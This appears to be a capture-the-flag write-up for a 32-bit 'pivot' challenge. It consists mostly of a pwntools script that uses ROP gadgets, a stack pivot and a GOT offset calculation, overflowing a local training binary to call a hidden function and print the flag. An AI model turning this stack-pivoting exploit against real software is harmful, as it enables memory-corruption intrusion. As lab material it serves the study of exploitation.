pivot
Analysis
32 bit
from pwn import *
context(log_level="INFO")
## 0x080488c0: pop eax; ret;
## 0x080488c2: xchg eax, esp; ret;
## 0x080488c4: mov eax, dword ptr [eax]; ret;
## 0x08048571: pop ebx; ret;
## 0x080488c7: add eax, ebx; ret;
## 0x080486a3: call eax;
foot_hold_plt = 0x080485f0
foot_hold_got = 0x0804a024
puts_plt = 0x080485d0
pop_eax = 0x080488c0
pop_ebx = 0x08048571
mov_eax = 0x080488c4
xchng_eax_esp = 0x080488c2
main_function = 0x0804873b
add_eax_ebx = 0x080488c7
call_eax = 0x080486a3
p = process("./pivot32")
## Get pivot address
p.recvuntil("pivot: ")
pivot_address = int(p.recv(10)[2:], 16)
log.success("Pivot Address - {}".format(hex(pivot_address)))
p.recvuntil("> ")
p.sendline(p32(foot_hold_plt) + p32(pop_eax) + p32(foot_hold_got) + p32(mov_eax) + p32(pop_ebx) + p32(0x1f7) + p32(add_eax_ebx) + p32(call_eax))
p.recvuntil("> ")
p.sendline("A"*44 + p32(pop_eax) + p32(pivot_address) + p32(xchng_eax_esp) )
p.recvuntil(".so")
log.success("FLAG - {}".format(p.recvuntil("}")))64 bit
Last updated